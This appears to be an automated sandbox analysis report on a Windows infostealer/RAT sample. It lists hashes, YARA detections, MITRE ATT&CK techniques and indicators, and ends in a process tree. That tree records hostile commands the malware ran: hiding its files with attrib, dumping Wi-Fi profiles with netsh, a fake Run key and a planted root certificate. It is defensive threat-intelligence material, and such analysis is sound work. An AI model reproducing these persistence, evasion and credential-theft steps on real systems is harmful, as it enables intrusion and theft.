f232e6049ddf1a6a7c9343be9c10b3a0792fca69b8a9543ea30d9d5a2194ffc0

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 05:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Size 12.3MB
Sample260722-gm124abb78
SHA256 f232e6049ddf1a6a7c9343be9c10b3a0792fca69b8a9543ea30d9d5a2194ffc0
MD5 20bf542347e62a95c0ef7adf81edab42
SHA1 d53a2773ff77db1167747289f93689b002cb918e
SHA512 638917e7aea8666d2efc360e57586d301cd173e7b384ace760d385b142f1b970634fcb7573b9ce57527118dd1f49e845aefa2cca3c3950da9e40e16568fb5e6a
SSDEEP 98304:CXwlhJ9FISTkFivrhgLE9z6u1uZkrnvVv+vpvz8HcAPsNV3cwWEets:CU/BQZ5x93ccws
TLSH
T1D1D63947E8A546E4D0AED135C66692237F713C884B3063D72BA0F6252F77BD0AEB9740
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5f2-5.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5f2-5.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5f2-5.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5f2-5.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Detects executables containing possible sandbox system UUIDs 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5f2-5.dat	INDICATOR_SUSPICIOUS_EXE_SandboxSystemUUIDs

Detects executables referencing virtualization MAC addresses 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5f2-5.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Detects executables using Telegram Chat Bot 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5f2-5.dat	INDICATOR_SUSPICIOUS_EXE_TelegramChatBot

Executes dropped EXE 3 IoCs

pid	Process
1396	winlogon_helper.exe
3268	SecurityHealthSystray.exe
4388	winlogon_helper.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
36	api.gofile.io
1	api.gofile.io
11	api.gofile.io

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
1	ip-api.com
12	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
812	netsh.exe
4256	netsh.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4692	chrome.exe
5940	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SecurityHealthSystray.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	SecurityHealthSystray.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4300	wmic.exe
2924	wmic.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	9	Go-http-client/1.1

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
4652	wmic.exe
4652	wmic.exe
4652	wmic.exe
4652	wmic.exe
568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
4300	wmic.exe
4300	wmic.exe
4300	wmic.exe
4300	wmic.exe
568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
2332	wmic.exe
2332	wmic.exe
2332	wmic.exe
2332	wmic.exe
6108	powershell.exe
6108	powershell.exe
4828	chrome.exe
4828	chrome.exe
1056	wmic.exe
1056	wmic.exe
1056	wmic.exe
1056	wmic.exe
3268	SecurityHealthSystray.exe
3268	SecurityHealthSystray.exe
3268	SecurityHealthSystray.exe
3268	SecurityHealthSystray.exe
2924	wmic.exe
2924	wmic.exe
2924	wmic.exe
2924	wmic.exe
3268	SecurityHealthSystray.exe
3268	SecurityHealthSystray.exe
3044	wmic.exe
3044	wmic.exe
3044	wmic.exe
3044	wmic.exe
5984	powershell.exe
5984	powershell.exe
1392	chrome.exe
1392	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
4828	chrome.exe
4828	chrome.exe
4828	chrome.exe
4828	chrome.exe
4828	chrome.exe
1392	chrome.exe
1392	chrome.exe
1392	chrome.exe
1392	chrome.exe
1392	chrome.exe
1392	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Token: SeIncreaseQuotaPrivilege	4652	wmic.exe
Token: SeSecurityPrivilege	4652	wmic.exe
Token: SeTakeOwnershipPrivilege	4652	wmic.exe
Token: SeLoadDriverPrivilege	4652	wmic.exe
Token: SeSystemProfilePrivilege	4652	wmic.exe
Token: SeSystemtimePrivilege	4652	wmic.exe
Token: SeProfSingleProcessPrivilege	4652	wmic.exe
Token: SeIncBasePriorityPrivilege	4652	wmic.exe
Token: SeCreatePagefilePrivilege	4652	wmic.exe
Token: SeBackupPrivilege	4652	wmic.exe
Token: SeRestorePrivilege	4652	wmic.exe
Token: SeShutdownPrivilege	4652	wmic.exe
Token: SeDebugPrivilege	4652	wmic.exe
Token: SeSystemEnvironmentPrivilege	4652	wmic.exe
Token: SeRemoteShutdownPrivilege	4652	wmic.exe
Token: SeUndockPrivilege	4652	wmic.exe
Token: SeManageVolumePrivilege	4652	wmic.exe
Token: 33	4652	wmic.exe
Token: 34	4652	wmic.exe
Token: 35	4652	wmic.exe
Token: 36	4652	wmic.exe
Token: SeIncreaseQuotaPrivilege	4652	wmic.exe
Token: SeSecurityPrivilege	4652	wmic.exe
Token: SeTakeOwnershipPrivilege	4652	wmic.exe
Token: SeLoadDriverPrivilege	4652	wmic.exe
Token: SeSystemProfilePrivilege	4652	wmic.exe
Token: SeSystemtimePrivilege	4652	wmic.exe
Token: SeProfSingleProcessPrivilege	4652	wmic.exe
Token: SeIncBasePriorityPrivilege	4652	wmic.exe
Token: SeCreatePagefilePrivilege	4652	wmic.exe
Token: SeBackupPrivilege	4652	wmic.exe
Token: SeRestorePrivilege	4652	wmic.exe
Token: SeShutdownPrivilege	4652	wmic.exe
Token: SeDebugPrivilege	4652	wmic.exe
Token: SeSystemEnvironmentPrivilege	4652	wmic.exe
Token: SeRemoteShutdownPrivilege	4652	wmic.exe
Token: SeUndockPrivilege	4652	wmic.exe
Token: SeManageVolumePrivilege	4652	wmic.exe
Token: 33	4652	wmic.exe
Token: 34	4652	wmic.exe
Token: 35	4652	wmic.exe
Token: 36	4652	wmic.exe
Token: SeIncreaseQuotaPrivilege	4300	wmic.exe
Token: SeSecurityPrivilege	4300	wmic.exe
Token: SeTakeOwnershipPrivilege	4300	wmic.exe
Token: SeLoadDriverPrivilege	4300	wmic.exe
Token: SeSystemProfilePrivilege	4300	wmic.exe
Token: SeSystemtimePrivilege	4300	wmic.exe
Token: SeProfSingleProcessPrivilege	4300	wmic.exe
Token: SeIncBasePriorityPrivilege	4300	wmic.exe
Token: SeCreatePagefilePrivilege	4300	wmic.exe
Token: SeBackupPrivilege	4300	wmic.exe
Token: SeRestorePrivilege	4300	wmic.exe
Token: SeShutdownPrivilege	4300	wmic.exe
Token: SeDebugPrivilege	4300	wmic.exe
Token: SeSystemEnvironmentPrivilege	4300	wmic.exe
Token: SeRemoteShutdownPrivilege	4300	wmic.exe
Token: SeUndockPrivilege	4300	wmic.exe
Token: SeManageVolumePrivilege	4300	wmic.exe
Token: 33	4300	wmic.exe
Token: 34	4300	wmic.exe
Token: 35	4300	wmic.exe
Token: 36	4300	wmic.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4828	chrome.exe
4828	chrome.exe
1392	chrome.exe
1392	chrome.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 568 wrote to memory of 4652	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	90
PID 568 wrote to memory of 4784	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	93
PID 568 wrote to memory of 4300	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	95
PID 568 wrote to memory of 1396	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	96
PID 568 wrote to memory of 2288	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	98
PID 568 wrote to memory of 2332	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	100
PID 568 wrote to memory of 4256	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	102
PID 568 wrote to memory of 6108	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	105
PID 568 wrote to memory of 4828	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	108
PID 568 wrote to memory of 4828	568	2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	108
PID 4828 wrote to memory of 3076	4828	chrome.exe	109
PID 4828 wrote to memory of 4692	4828	chrome.exe	112
PID 4828 wrote to memory of 2512	4828	chrome.exe	113
PID 4828 wrote to memory of 2512	4828	chrome.exe	113
PID 4828 wrote to memory of 3232	4828	chrome.exe	114
PID 4828 wrote to memory of 3232	4828	chrome.exe	114
PID 4828 wrote to memory of 4944	4828	chrome.exe	115
PID 4828 wrote to memory of 4944	4828	chrome.exe	115
PID 4828 wrote to memory of 1544	4828	chrome.exe	116
PID 4828 wrote to memory of 1544	4828	chrome.exe	116
PID 4828 wrote to memory of 2608	4828	chrome.exe	117
PID 4828 wrote to memory of 2608	4828	chrome.exe	117
PID 4828 wrote to memory of 5888	4828	chrome.exe	118
PID 4828 wrote to memory of 5888	4828	chrome.exe	118
PID 4828 wrote to memory of 2800	4828	chrome.exe	119
PID 4828 wrote to memory of 2800	4828	chrome.exe	119
PID 3268 wrote to memory of 1056	3268	SecurityHealthSystray.exe	120
PID 3268 wrote to memory of 756	3268	SecurityHealthSystray.exe	122
PID 3268 wrote to memory of 2924	3268	SecurityHealthSystray.exe	124
PID 3268 wrote to memory of 4388	3268	SecurityHealthSystray.exe	126
PID 3268 wrote to memory of 3044	3268	SecurityHealthSystray.exe	127
PID 3268 wrote to memory of 812	3268	SecurityHealthSystray.exe	129
PID 3268 wrote to memory of 5984	3268	SecurityHealthSystray.exe	131
PID 3268 wrote to memory of 1392	3268	SecurityHealthSystray.exe	133
PID 3268 wrote to memory of 1392	3268	SecurityHealthSystray.exe	133
PID 1392 wrote to memory of 1952	1392	chrome.exe	134
PID 1392 wrote to memory of 1920	1392	chrome.exe	135
PID 1392 wrote to memory of 5940	1392	chrome.exe	136
PID 1392 wrote to memory of 1920	1392	chrome.exe	135
PID 1392 wrote to memory of 4208	1392	chrome.exe	137
PID 1392 wrote to memory of 4208	1392	chrome.exe	137
PID 1392 wrote to memory of 4656	1392	chrome.exe	138
PID 1392 wrote to memory of 4656	1392	chrome.exe	138
PID 1392 wrote to memory of 1092	1392	chrome.exe	139
PID 1392 wrote to memory of 1092	1392	chrome.exe	139
PID 1392 wrote to memory of 4036	1392	chrome.exe	141
PID 1392 wrote to memory of 5888	1392	chrome.exe	142
PID 1392 wrote to memory of 4036	1392	chrome.exe	141
PID 1392 wrote to memory of 5888	1392	chrome.exe	142
PID 1392 wrote to memory of 6032	1392	chrome.exe	143
PID 1392 wrote to memory of 6032	1392	chrome.exe	143
PID 1392 wrote to memory of 5056	1392	chrome.exe	144
PID 1392 wrote to memory of 5056	1392	chrome.exe	144
PID 1392 wrote to memory of 3236	1392	chrome.exe	145
PID 1392 wrote to memory of 3236	1392	chrome.exe	145

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4784	attrib.exe
2288	attrib.exe
756	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
1⤵
- Adds Run key to start application
- Modifies trusted root certificate store through registry
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:568
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4652
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-07-22_20bf542347e62a95c0ef7adf81edab42_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  2⤵
  - Views/modifies file attributes
  PID:4784
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4300
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winlogon_helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winlogon_helper.exe
  2⤵
  - Executes dropped EXE
  PID:1396
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:2288
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2332
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
